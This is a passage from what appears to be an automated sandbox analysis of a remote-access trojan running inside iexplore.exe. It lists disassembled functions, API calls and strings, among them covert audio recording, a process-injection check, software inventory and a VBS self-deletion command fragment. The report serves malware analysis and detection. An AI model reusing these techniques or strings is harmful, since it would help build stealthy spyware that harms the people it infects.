                                            • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412697
                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004126A2
                                            • CloseHandle.KERNEL32(00000000), ref: 004126A9
                                            • GetCurrentProcessId.KERNEL32 ref: 004126AF
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Process$File$Create$CloseCurrentHandleObjectOpenPathSingleTempWait$ExecuteExistsExitMutexNameShellSleeplstrcat
                                            • String ID: .exe$8SG$WDH$exepath$open$temp_
                                            • API String ID: 2649220323-436679193
                                            • Opcode ID: 68a6d1683c491aa5f69a5158323edd29138381c8b32ecc661663b13424b24b94
                                            • Instruction ID: 17e21f0bcac096b9b94ced5306d028ab2385f4d1d2402c2ee3c492442eb82615
                                            • Opcode Fuzzy Hash: 68a6d1683c491aa5f69a5158323edd29138381c8b32ecc661663b13424b24b94
                                            • Instruction Fuzzy Hash: 4651B371A00315BBDB10ABA09C9AEFE336D9B04715F10406BF502E71D2EFBC8E85865D
                                            Function 0041B047 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 180synchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                            • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041B13C
                                            • mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041B150
                                            • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,004660A4), ref: 0041B178
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0041B18E
                                            • mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041B1CF
                                            • mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041B1E7
                                            • mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041B1FC
                                            • SetEvent.KERNEL32 ref: 0041B219
                                            • WaitForSingleObject.KERNEL32(000001F4), ref: 0041B22A
                                            • CloseHandle.KERNEL32 ref: 0041B23A
                                            • mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041B25C
                                            • mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041B266
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
                                            • String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$NG
                                            • API String ID: 738084811-2094122233
                                            • Opcode ID: a32571104eb0df3ab7bb69bc80b77b3340521799c31937e3b9a7319bb649b0aa
                                            • Instruction ID: fe650b41180b39ed17604f18bcb9a712e211fca36760164052b554565c231c06
                                            • Opcode Fuzzy Hash: a32571104eb0df3ab7bb69bc80b77b3340521799c31937e3b9a7319bb649b0aa
                                            • Instruction Fuzzy Hash: 0351A3B12842056AD314B771DC96ABF379CDB84358F10043FB64A521E2EF788D48CA6E
                                            Function 00401A6D Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                                            • WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401B03
                                            • WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401B13
                                            • WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401B23
                                            • WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401B33
                                            • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401B43
                                            • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B54
                                            • WriteFile.KERNEL32(00000000,00472AAA,00000002,00000000,00000000), ref: 00401B65
                                            • WriteFile.KERNEL32(00000000,00472AAC,00000004,00000000,00000000), ref: 00401B75
                                            • WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401B85
                                            • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B96
                                            • WriteFile.KERNEL32(00000000,00472AB6,00000002,00000000,00000000), ref: 00401BA7
                                            • WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401BB7
                                            • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401BC7
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$Write$Create
                                            • String ID: RIFF$WAVE$data$fmt
                                            • API String ID: 1602526932-4212202414
                                            • Opcode ID: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                                            • Instruction ID: 2ec91bc18be8700290cedec85ec8f66933089e8d2246bcc6fed4c3761e19f715
                                            • Opcode Fuzzy Hash: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                                            • Instruction Fuzzy Hash: EB414E72644308BAE210DA51DD86FBB7EECEB89B50F40441AF644D60C0D7A4E909DBB3
                                            Function 00407270 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Program Files (x86)\Internet Explorer\iexplore.exe,00000001,0040764D,C:\Program Files (x86)\Internet Explorer\iexplore.exe,00000003,00407675,004752D8,004076CE), ref: 00407284
                                            • GetProcAddress.KERNEL32(00000000), ref: 0040728D
                                            • GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 004072A2
                                            • GetProcAddress.KERNEL32(00000000), ref: 004072A5
                                            • GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 004072B6
                                            • GetProcAddress.KERNEL32(00000000), ref: 004072B9
                                            • GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 004072CA
                                            • GetProcAddress.KERNEL32(00000000), ref: 004072CD
                                            • GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 004072DE
                                            • GetProcAddress.KERNEL32(00000000), ref: 004072E1
                                            • GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 004072F2
                                            • GetProcAddress.KERNEL32(00000000), ref: 004072F5
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressHandleModuleProc
                                            • String ID: C:\Program Files (x86)\Internet Explorer\iexplore.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
                                            • API String ID: 1646373207-2422700265
                                            • Opcode ID: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                                            • Instruction ID: f839149ce94c73eee9bda0254407c114f4740b95dc73f4bc012c28e2a4ae17e7
                                            • Opcode Fuzzy Hash: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                                            • Instruction Fuzzy Hash: 520171E0E4431676DB216F3A6C54D4B6F9C9E5125131A087BB409E2292FEBCE800CE6D
                                            Function 0041C01B Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlenW.KERNEL32(?), ref: 0041C036
                                            • _memcmp.LIBVCRUNTIME ref: 0041C04E
                                            • lstrlenW.KERNEL32(?), ref: 0041C067
                                            • FindFirstVolumeW.KERNEL32 ref: 0041C0A2
                                            • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041C0B5
                                            • QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041C0F9
                                            • lstrcmpW.KERNEL32(?,?), ref: 0041C114
                                            • FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041C12C
                                            • _wcslen.LIBCMT ref: 0041C13B
                                            • FindVolumeClose.KERNEL32 ref: 0041C15B
                                            • GetLastError.KERNEL32 ref: 0041C173
                                            • GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041C1A0
                                            • lstrcatW.KERNEL32 ref: 0041C1B9
                                            • lstrcpyW.KERNEL32(?,?), ref: 0041C1C8
                                            • GetLastError.KERNEL32 ref: 0041C1D0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
                                            • String ID: ?
                                            • API String ID: 3941738427-1684325040
                                            • Opcode ID: abe7e308a1a6702f98718e9be80ca678ae2d2d31c1c14d85f2c6eaae61ca29ed
                                            • Instruction ID: a349862c8cee18361e8dc915c9858c0b302c9409c899df8dda18ff866c7f94c5
                                            • Opcode Fuzzy Hash: abe7e308a1a6702f98718e9be80ca678ae2d2d31c1c14d85f2c6eaae61ca29ed
                                            • Instruction Fuzzy Hash: 8B416171584316EBD720DFA0DC889EB77ECAB49755F00092BF545C2261EB78C988CBDA
                                            Function 00412AB4 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 482sleepfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00412ACD
                                              • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041B99F
                                              • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5), ref: 0041857E
                                              • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F), ref: 00418587
                                            • Sleep.KERNEL32(0000000A,00465E74), ref: 00412C1F
                                            • Sleep.KERNEL32(0000000A,00465E74,00465E74), ref: 00412CC1
                                            • Sleep.KERNEL32(0000000A,00465E74,00465E74,00465E74), ref: 00412D63
                                            • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DC5
                                            • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DFC
                                            • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412E38
                                            • Sleep.KERNEL32(000001F4,00465E74,00465E74,00465E74), ref: 00412E52
                                            • Sleep.KERNEL32(00000064), ref: 00412E94
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
                                            • String ID: /stext "$0TG$0TG$NG$NG
                                            • API String ID: 1223786279-2576077980
                                            • Opcode ID: 32d90d55cb05bb5b069b036a4d337625a659ecb65ee468f1972c10dd974b4365
                                            • Instruction ID: 3b0169c2c8bc9f0d695cedb60fdc7b81a1931596247e975dd6f1dc47d42db627
                                            • Opcode Fuzzy Hash: 32d90d55cb05bb5b069b036a4d337625a659ecb65ee468f1972c10dd974b4365
                                            • Instruction Fuzzy Hash: 990255311083418AC325FB62D851AEFB3E5AFD4348F50483EF58A971E2EF785A49C65A
                                            Function 0044F42D Relevance: 24.4, APIs: 16, Instructions: 419COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$EnvironmentVariable
                                            • String ID:
                                            • API String ID: 1464849758-0
                                            • Opcode ID: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
                                            • Instruction ID: f75d98bba309171a1893162bbba9979c566f834f65d54a181aa040c21db392b6
                                            • Opcode Fuzzy Hash: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
                                            • Instruction Fuzzy Hash: C4D13672D007006BFB20AF799D81A6B77A4EF01318F05427FE919A7382EB3D99058799
                                            Function 0041C68F Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041C6B1
                                            • RegEnumKeyExA.ADVAPI32 ref: 0041C6F5
                                            • RegCloseKey.ADVAPI32(?), ref: 0041C9BF
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseEnumOpen
                                            • String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
                                            • API String ID: 1332880857-3714951968
                                            • Opcode ID: 131f557390299a5fb98f0b65c13fdfd9cb57ca643134b75c275777f897c8710a
                                            • Instruction ID: af0903b0dab8fbea49832074ad132f154b97281cd99b968e1e8b6bf9777b958e
                                            • Opcode Fuzzy Hash: 131f557390299a5fb98f0b65c13fdfd9cb57ca643134b75c275777f897c8710a
                                            • Instruction Fuzzy Hash: 248144711083419BC325EF11D851EEFB7E8BF94309F10492FB589921A1FF78AE49CA5A
                                            Function 0041D58F Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 74windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • DefWindowProcA.USER32(?,00000401,?,?), ref: 0041D5DA
                                            • GetCursorPos.USER32(?), ref: 0041D5E9
                                            • SetForegroundWindow.USER32(?), ref: 0041D5F2
                                            • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041D60C
                                            • Shell_NotifyIconA.SHELL32(00000002,00474B48), ref: 0041D65D
                                            • ExitProcess.KERNEL32 ref: 0041D665
                                            • CreatePopupMenu.USER32 ref: 0041D66B
                                            • AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0041D680
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
                                            • String ID: Close
                                            • API String ID: 1657328048-3535843008
                                            • Opcode ID: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                                            • Instruction ID: 483e3be36cf21f9f431d69439bfbb75804d706e25d1e382f075e68ac53faeb55
                                            • Opcode Fuzzy Hash: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                                            • Instruction Fuzzy Hash: 392127B1944208FFDB194FA4ED0EAAA3B65FB08342F000135FA0A950B1D775EDA1EB5D
                                            Function 0040A726 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                            • Sleep.KERNEL32(00001388), ref: 0040A740
                                              • Part of subcall function 0040A675: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6AB
                                              • Part of subcall function 0040A675: GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                                              • Part of subcall function 0040A675: Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                                              • Part of subcall function 0040A675: CloseHandle.KERNEL32(00000000), ref: 0040A6EE
                                            • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040A77C
                                            • GetFileAttributesW.KERNEL32(00000000), ref: 0040A78D
                                            • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040A7A4
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0040A81E
                                              • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                                            • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00466468,00000000,00000000,00000000), ref: 0040A927
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                                            • String ID: 8SG$8SG$pQG$pQG$PG$PG
                                            • API String ID: 3795512280-1152054767
                                            • Opcode ID: f9bf0f70ca639f6d962135a3ade2805c3c6b71e3802994e37fdf4666e5df7246
                                            • Instruction ID: 265ddfea45d140738b9a7e0f0353a6f5be26653907181caffe3561bb72ed66c0
                                            • Opcode Fuzzy Hash: f9bf0f70ca639f6d962135a3ade2805c3c6b71e3802994e37fdf4666e5df7246
                                            • Instruction Fuzzy Hash: A7517E716043055ACB09BB32C866ABE739A9F80349F00483FB642B71E2DF7C9D09865E
                                            Function 004048C8 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 144networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • connect.WS2_32(?,?,?), ref: 004048E0
                                            • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A00
                                            • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A0E
                                            • WSAGetLastError.WS2_32 ref: 00404A21
                                              • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CreateEvent$ErrorLastLocalTimeconnect
                                            • String ID: Connection Failed: $Connection Refused$PkGNG$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
                                            • API String ID: 994465650-3229884001
                                            • Opcode ID: 544a8dfd755885537e58458bfc18e92728dddd0fb449b18b6c8fe8c32441fe06
                                            • Instruction ID: c5d57dbf39bf42eeb7f1fe8451fa1a1ddda5cb55b73798f96fdafd5064c5310c
                                            • Opcode Fuzzy Hash: 544a8dfd755885537e58458bfc18e92728dddd0fb449b18b6c8fe8c32441fe06
                                            • Instruction Fuzzy Hash: 3E41E8B47406016BD61877BA8D1B53E7A15AB81304B50017FE60267AD3EB7D9C108BDF
                                            Function 004512C6 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • ___free_lconv_mon.LIBCMT ref: 0045130A
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 0045051F
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 00450531
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 00450543
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 00450555
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 00450567
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 00450579
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 0045058B
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 0045059D
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 004505AF
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 004505C1
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 004505D3
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 004505E5
                                              • Part of subcall function 00450502: _free.LIBCMT ref: 004505F7
                                            • _free.LIBCMT ref: 004512FF
                                              • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                              • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                            • _free.LIBCMT ref: 00451321
                                            • _free.LIBCMT ref: 00451336
                                            • _free.LIBCMT ref: 00451341
                                            • _free.LIBCMT ref: 00451363
                                            • _free.LIBCMT ref: 00451376
                                            • _free.LIBCMT ref: 00451384
                                            • _free.LIBCMT ref: 0045138F
                                            • _free.LIBCMT ref: 004513C7
                                            • _free.LIBCMT ref: 004513CE
                                            • _free.LIBCMT ref: 004513EB
                                            • _free.LIBCMT ref: 00451403
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                            • String ID:
                                            • API String ID: 161543041-0
                                            • Opcode ID: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                                            • Instruction ID: 673b37a441ff9bbb7eb6cd98574e5fa8379d72fae64c09c4febd1ea684bb8cd8
                                            • Opcode Fuzzy Hash: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                                            • Instruction Fuzzy Hash: 0E319E315007009FFB20AA7AD845B5B73E8EF0131AF50851FEC68D7662DF78AD448B59
                                            Function 0040D7FF Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 148COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,?,0040D80F), ref: 00412860
                                              • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF,?,0040D80F), ref: 00412873
                                              • Part of subcall function 004136F8: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,?), ref: 00413714
                                              • Part of subcall function 004136F8: RegQueryValueExA.ADVAPI32 ref: 0041372D
                                              • Part of subcall function 004136F8: RegCloseKey.ADVAPI32(?), ref: 00413738
                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040D859
                                            • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D9B8
                                            • ExitProcess.KERNEL32 ref: 0040D9C4
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                                            • String ID: """, 0$.vbs$8SG$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
                                            • API String ID: 1913171305-3159800282
                                            • Opcode ID: 8540ee6109fc5d5e06acd7d4b9875de3834636e3193428be82b889be829a6c91
                                            • Instruction ID: 6fc8d312854778a25908ca85050b1cee1951ef16e4956e50e312a563d71e527c
                                            • Opcode Fuzzy Hash: 8540ee6109fc5d5e06acd7d4b9875de3834636e3193428be82b889be829a6c91
                                            • Instruction Fuzzy Hash: 0C413A719001195ACB15FA62DC56DEEB778AF50309F10007FB10AB61E2EF785E4ACA98
                                            Function 00450600 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free
                                            • String ID:
                                            • API String ID: 269201875-0
                                            • Opcode ID: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
                                            • Instruction ID: d910990a8472ee08c0279d8077499983e41ff25138a9859a729e4309013b5263
                                            • Opcode Fuzzy Hash: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
                                            • Instruction Fuzzy Hash: E2C17476D40204AFEB20DBA9CC83FDE77B8AB19705F14015AFE05EB283D6B49D458798
                                            Function 0040F474 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 210processCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,004750E4,?,00475338), ref: 0040F48E
                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F4B9
                                            • Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040F4D5
                                            • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F554
                                            • CloseHandle.KERNEL32(00000000), ref: 0040F563
                                              • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                                              • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                                            • CloseHandle.KERNEL32(00000000), ref: 0040F66E
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseHandleOpenProcessProcess32$CreateFileFirstModuleNameNextSnapshotToolhelp32
                                            • String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe
                                            • API String ID: 3756808967-1743721670
                                            • Opcode ID: b1e1f41d80490b315896909958d9242b500036c9ac5089c02299af30cc885f9c
                                            • Instruction ID: b3f00c97eb68dcc530bbf6735eb7028ff3362e05d7342ed3a56d945b0ce45bff
                                            • Opcode Fuzzy Hash: b1e1f41d80490b315896909958d9242b500036c9ac5089c02299af30cc885f9c
                                            • Instruction Fuzzy Hash: F6715E705083419BC724FB21D8959AEB7A5AF90348F50083FF586631E3EF78994ECB5A
                                            Function 00419627 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 206COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID: 0$1$2$3$4$5$6$7$VG
                                            • API String ID: 0-1861860590
                                            • Opcode ID: b5a7de883cd012ce8913fa8e37131401e824a11eb2676ecb59610ee39723a0e8
                                            • Instruction ID: 08acf1e0be570df0aadc768861284cd9b307e7e5fc43d41925289fb9f64992c1
                                            • Opcode Fuzzy Hash: b5a7de883cd012ce8913fa8e37131401e824a11eb2676ecb59610ee39723a0e8
                                            • Instruction Fuzzy Hash: A771B2709183019FD304EF21D862BAB7B94DF95310F10492FF5A26B2D1DF78AA49CB96
                                            Function 00450A25 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 204COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free
                                            • String ID: \&G$\&G$`&G
                                            • API String ID: 269201875-253610517
                                            • Opcode ID: bf6a2d62285109b65615641ef8a9ee438ca725d72dbf644c1fcc8e573ee560d0
                                            • Instruction ID: 0b3297c67b001fbc5a9f4fbe1fd197d652097ca420ae28a40b4f72db8b3ed5d1
                                            • Opcode Fuzzy Hash: bf6a2d62285109b65615641ef8a9ee438ca725d72dbf644c1fcc8e573ee560d0
                                            • Instruction Fuzzy Hash: 77610475900204AFDB20CFA9C882B9ABBF4EF05315F14416BED58EB342D774AD458B98
                                            Function 0040DA34 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
